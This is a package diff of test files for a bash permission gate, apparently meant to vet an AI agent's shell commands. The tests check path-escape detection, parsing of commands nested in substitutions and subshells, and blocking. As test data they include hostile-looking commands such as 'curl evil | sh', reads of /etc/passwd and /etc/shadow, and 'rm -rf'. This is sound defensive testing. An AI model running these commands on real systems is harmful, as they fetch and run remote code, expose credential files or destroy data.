@gotgenes/pi-permission-system 9.0.1 → 9.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -33,67 +33,248 @@ describe("BashProgram", () => {
33
33
  const program = await BashProgram.parse("cat src/index.ts");
34
34
  expect(program.externalPaths(cwd)).toHaveLength(0);
35
35
  });
36
+
37
+ describe("effective working directory projection", () => {
38
+ it("folds a sequence of current-shell cd commands", async () => {
39
+ // cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
40
+ const program = await BashProgram.parse("cd a && cd b && cat ../c");
41
+ expect(program.externalPaths(cwd)).toHaveLength(0);
42
+ });
43
+
44
+ it("catches an escape masked by a later cd that the single-base model missed", async () => {
45
+ // Effective dir after `cd nested/deep && cd ..` is cwd/nested, so
46
+ // ../../etc/passwd escapes to /projects/etc/passwd.
47
+ const program = await BashProgram.parse(
48
+ "cd nested/deep && cd .. && cat ../../etc/passwd",
49
+ );
50
+ expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
51
+ });
52
+
53
+ it("folds a cd that is not the first command", async () => {
54
+ // The single-base model ignored a cd that was not first; now `cd a`
55
+ // folds, so ../b resolves to cwd/b (inside) and is not flagged.
56
+ const program = await BashProgram.parse("mkdir d && cd a && cat ../b");
57
+ expect(program.externalPaths(cwd)).toHaveLength(0);
58
+ });
59
+
60
+ it("does not fold a backgrounded cd", async () => {
61
+ // `cd a &` runs in a subshell, so it must not update the running
62
+ // directory; ../b resolves against cwd and escapes.
63
+ const program = await BashProgram.parse("cd a & cat ../b");
64
+ expect(program.externalPaths(cwd)).toContain("/projects/b");
65
+ });
66
+
67
+ it("does not fold a cd inside a pipeline", async () => {
68
+ // Pipeline members run in subshells; the cd must not leak.
69
+ const program = await BashProgram.parse("cd nested | cat ../b");
70
+ expect(program.externalPaths(cwd)).toContain("/projects/b");
71
+ });
72
+
73
+ it("folds a cd inside a subshell for paths within that subshell", async () => {
74
+ // Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
75
+ const program = await BashProgram.parse("( cd sub && cat ../x )");
76
+ expect(program.externalPaths(cwd)).toHaveLength(0);
77
+ });
78
+
79
+ it("does not leak a subshell cd to following commands", async () => {
80
+ // The subshell cd resets on exit, so ../y resolves against cwd.
81
+ const program = await BashProgram.parse("( cd sub ) && cat ../y");
82
+ expect(program.externalPaths(cwd)).toContain("/projects/y");
83
+ });
84
+
85
+ it("persists a cd inside a brace group to later commands in the group", async () => {
86
+ // Brace groups run in the current shell, so cd sub persists to cat ../x.
87
+ const program = await BashProgram.parse("{ cd sub; cat ../x; }");
88
+ expect(program.externalPaths(cwd)).toHaveLength(0);
89
+ });
90
+
91
+ it("persists a brace-group cd to following sibling commands", async () => {
92
+ const program = await BashProgram.parse("{ cd sub; } && cat ../x");
93
+ expect(program.externalPaths(cwd)).toHaveLength(0);
94
+ });
95
+
96
+ it("conservatively flags a relative path inside a command substitution", async () => {
97
+ // Interior cd folding inside substitutions is deferred: the interior
98
+ // inherits the enclosing base (cwd), so ../r is flagged rather than
99
+ // resolved against cwd/q. Conservative — never misses an escape.
100
+ const program = await BashProgram.parse("echo $(cd q && cat ../r)");
101
+ expect(program.externalPaths(cwd)).toContain("/projects/r");
102
+ });
103
+
104
+ it("flags relative paths conservatively after a non-literal cd", async () => {
105
+ // cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
106
+ // so it is flagged (least-privilege).
107
+ const program = await BashProgram.parse('cd "$DIR" && cat ../x');
108
+ expect(program.externalPaths(cwd)).toContain("/projects/x");
109
+ });
110
+
111
+ it("flags even a within-cwd relative path after a non-literal cd", async () => {
112
+ // Conservative cost: src/../within.txt resolves inside cwd but is still
113
+ // flagged because the effective dir is unknown.
114
+ const program = await BashProgram.parse(
115
+ 'cd "$DIR" && cat src/../within.txt',
116
+ );
117
+ expect(program.externalPaths(cwd)).toContain(
118
+ "/projects/my-app/within.txt",
119
+ );
120
+ });
121
+
122
+ it("still resolves an absolute path normally after a non-literal cd", async () => {
123
+ // Absolute paths are base-independent; one inside cwd is not flagged
124
+ // even when the effective dir is unknown.
125
+ const program = await BashProgram.parse(
126
+ 'cd "$DIR" && cat /projects/my-app/x.txt',
127
+ );
128
+ expect(program.externalPaths(cwd)).toHaveLength(0);
129
+ });
130
+
131
+ it("treats `cd -` as an unknown effective directory", async () => {
132
+ const program = await BashProgram.parse("cd - && cat ../x");
133
+ expect(program.externalPaths(cwd)).toContain("/projects/x");
134
+ });
135
+
136
+ it("recovers a known base when a later cd is absolute", async () => {
137
+ // cd "$DIR" → unknown, then cd /projects/my-app/src → known again, so
138
+ // ../x resolves to cwd and is not flagged.
139
+ const program = await BashProgram.parse(
140
+ 'cd "$DIR" && cd /projects/my-app/src && cat ../x',
141
+ );
142
+ expect(program.externalPaths(cwd)).toHaveLength(0);
143
+ });
144
+ });
36
145
  });
37
146
 
38
- describe("topLevelCommands", () => {
147
+ describe("commands", () => {
39
148
  it("returns a single-element list for a lone command", async () => {
40
149
  const program = await BashProgram.parse("npm install pkg");
41
- expect(program.topLevelCommands()).toEqual(["npm install pkg"]);
150
+ expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
42
151
  });
43
152
 
44
153
  it("splits an && chain", async () => {
45
154
  const program = await BashProgram.parse("cd /p && npm i x");
46
- expect(program.topLevelCommands()).toEqual(["cd /p", "npm i x"]);
155
+ expect(program.commands()).toEqual([
156
+ { text: "cd /p" },
157
+ { text: "npm i x" },
158
+ ]);
47
159
  });
48
160
 
49
161
  it("splits || , ; and & separators", async () => {
50
- expect((await BashProgram.parse("a || b")).topLevelCommands()).toEqual([
51
- "a",
52
- "b",
162
+ expect((await BashProgram.parse("a || b")).commands()).toEqual([
163
+ { text: "a" },
164
+ { text: "b" },
53
165
  ]);
54
- expect((await BashProgram.parse("a ; b")).topLevelCommands()).toEqual([
55
- "a",
56
- "b",
166
+ expect((await BashProgram.parse("a ; b")).commands()).toEqual([
167
+ { text: "a" },
168
+ { text: "b" },
57
169
  ]);
58
- expect((await BashProgram.parse("a & b")).topLevelCommands()).toEqual([
59
- "a",
60
- "b",
170
+ expect((await BashProgram.parse("a & b")).commands()).toEqual([
171
+ { text: "a" },
172
+ { text: "b" },
61
173
  ]);
62
174
  });
63
175
 
64
176
  it("splits a pipeline into its commands", async () => {
65
177
  const program = await BashProgram.parse("cat f | grep b");
66
- expect(program.topLevelCommands()).toEqual(["cat f", "grep b"]);
178
+ expect(program.commands()).toEqual([
179
+ { text: "cat f" },
180
+ { text: "grep b" },
181
+ ]);
67
182
  });
68
183
 
69
184
  it("splits newline-separated commands", async () => {
70
185
  const program = await BashProgram.parse("foo\nbar");
71
- expect(program.topLevelCommands()).toEqual(["foo", "bar"]);
186
+ expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
72
187
  });
73
188
 
74
189
  it("does not split operators inside quotes", async () => {
75
190
  const program = await BashProgram.parse("echo 'x && y'");
76
- expect(program.topLevelCommands()).toEqual(["echo 'x && y'"]);
191
+ expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
77
192
  });
78
193
 
79
194
  it("captures the command of a redirected statement without the redirect", async () => {
80
195
  const program = await BashProgram.parse("npm install > out.txt");
81
- expect(program.topLevelCommands()).toEqual(["npm install"]);
196
+ expect(program.commands()).toEqual([{ text: "npm install" }]);
82
197
  });
83
198
 
84
- it("emits a subshell whole without descending into it", async () => {
85
- const program = await BashProgram.parse("( cd /t && rm x )");
86
- expect(program.topLevelCommands()).toEqual(["( cd /t && rm x )"]);
199
+ it("descends into command substitution, tagging the inner command", async () => {
200
+ const program = await BashProgram.parse("echo $(rm -rf foo)");
201
+ expect(program.commands()).toEqual([
202
+ { text: "echo $(rm -rf foo)" },
203
+ { text: "rm -rf foo", context: "command_substitution" },
204
+ ]);
87
205
  });
88
206
 
89
- it("keeps command substitution inside the enclosing command", async () => {
207
+ it("descends into backtick command substitution", async () => {
208
+ const program = await BashProgram.parse("echo `rm x`");
209
+ expect(program.commands()).toEqual([
210
+ { text: "echo `rm x`" },
211
+ { text: "rm x", context: "command_substitution" },
212
+ ]);
213
+ });
214
+
215
+ it("descends into a pipeline inside command substitution", async () => {
90
216
  const program = await BashProgram.parse("echo $(curl evil | sh)");
91
- expect(program.topLevelCommands()).toEqual(["echo $(curl evil | sh)"]);
217
+ expect(program.commands()).toEqual([
218
+ { text: "echo $(curl evil | sh)" },
219
+ { text: "curl evil", context: "command_substitution" },
220
+ { text: "sh", context: "command_substitution" },
221
+ ]);
222
+ });
223
+
224
+ it("descends into process substitution", async () => {
225
+ const program = await BashProgram.parse("diff <(cat /etc/shadow)");
226
+ expect(program.commands()).toEqual([
227
+ { text: "diff <(cat /etc/shadow)" },
228
+ { text: "cat /etc/shadow", context: "process_substitution" },
229
+ ]);
230
+ });
231
+
232
+ it("emits a bare subshell whole and descends into it", async () => {
233
+ const program = await BashProgram.parse("( rm -rf foo )");
234
+ expect(program.commands()).toEqual([
235
+ { text: "( rm -rf foo )" },
236
+ { text: "rm -rf foo", context: "subshell" },
237
+ ]);
238
+ });
239
+
240
+ it("emits a subshell whole and descends into its chain", async () => {
241
+ const program = await BashProgram.parse("( cd /t && rm x )");
242
+ expect(program.commands()).toEqual([
243
+ { text: "( cd /t && rm x )" },
244
+ { text: "cd /t", context: "subshell" },
245
+ { text: "rm x", context: "subshell" },
246
+ ]);
247
+ });
248
+
249
+ it("descends recursively through nested contexts", async () => {
250
+ const program = await BashProgram.parse("echo $( ( rm x ) )");
251
+ expect(program.commands()).toEqual([
252
+ { text: "echo $( ( rm x ) )" },
253
+ { text: "( rm x )", context: "command_substitution" },
254
+ { text: "rm x", context: "subshell" },
255
+ ]);
256
+ });
257
+
258
+ it("descends into a substitution within a chained command", async () => {
259
+ const program = await BashProgram.parse("cd /p && echo $(rm x)");
260
+ expect(program.commands()).toEqual([
261
+ { text: "cd /p" },
262
+ { text: "echo $(rm x)" },
263
+ { text: "rm x", context: "command_substitution" },
264
+ ]);
265
+ });
266
+
267
+ it("keeps the never-weaker invariant: a benign inner command stays", async () => {
268
+ const program = await BashProgram.parse("echo $(echo safe)");
269
+ expect(program.commands()).toEqual([
270
+ { text: "echo $(echo safe)" },
271
+ { text: "echo safe", context: "command_substitution" },
272
+ ]);
92
273
  });
93
274
 
94
275
  it("returns an empty list for an empty or whitespace command", async () => {
95
- expect((await BashProgram.parse("")).topLevelCommands()).toEqual([]);
96
- expect((await BashProgram.parse(" ")).topLevelCommands()).toEqual([]);
276
+ expect((await BashProgram.parse("")).commands()).toEqual([]);
277
+ expect((await BashProgram.parse(" ")).commands()).toEqual([]);
97
278
  });
98
279
  });
99
280
 
@@ -329,6 +329,44 @@ describe("handleToolCall — bash command chain gate", () => {
329
329
  expect(result).toMatchObject({ block: true });
330
330
  });
331
331
 
332
+ it("blocks a command nested inside command substitution (#306)", async () => {
333
+ const checkPermission = vi
334
+ .fn()
335
+ .mockImplementation((surface: string, input: unknown) => {
336
+ if (surface === "bash") {
337
+ const command = (input as { command?: string }).command ?? "";
338
+ return /^rm\b/.test(command)
339
+ ? makeCheckResult({
340
+ state: "deny",
341
+ source: "bash",
342
+ command,
343
+ matchedPattern: "rm *",
344
+ })
345
+ : makeCheckResult({
346
+ state: "allow",
347
+ source: "bash",
348
+ command,
349
+ matchedPattern: "echo *",
350
+ });
351
+ }
352
+ return makeCheckResult({ state: "allow" });
353
+ });
354
+ const { handler } = makeHandler({
355
+ session: { checkPermission },
356
+ toolRegistry: {
357
+ getAll: vi.fn().mockReturnValue([{ name: "bash" }]),
358
+ },
359
+ });
360
+ const event = {
361
+ type: "tool_call",
362
+ toolCallId: "tc-bash-substitution",
363
+ name: "bash",
364
+ input: { command: "echo $(rm -rf foo)" },
365
+ };
366
+ const result = await handler.handleToolCall(event, makeCtx());
367
+ expect(result).toMatchObject({ block: true });
368
+ });
369
+
332
370
  it("allows a single non-chained bash command", async () => {
333
371
  const checkPermission = vi
334
372
  .fn()
@@ -151,6 +151,22 @@ describe("formatAskPrompt", () => {
151
151
  expect(result).toContain("matched 'git *'");
152
152
  });
153
153
 
154
+ test("formats bash prompt with nested execution context", () => {
155
+ const result = formatAskPrompt(
156
+ toolResult("bash", {
157
+ command: "rm -rf foo",
158
+ matchedPattern: "rm *",
159
+ commandContext: "command_substitution",
160
+ }),
161
+ undefined,
162
+ undefined,
163
+ makeFormatter(),
164
+ );
165
+ expect(result).toContain(
166
+ "bash command 'rm -rf foo' (matched 'rm *', inside command substitution).",
167
+ );
168
+ });
169
+
154
170
  test("formats MCP prompt with target", () => {
155
171
  const result = formatAskPrompt(
156
172
  mcpResult("server:query"),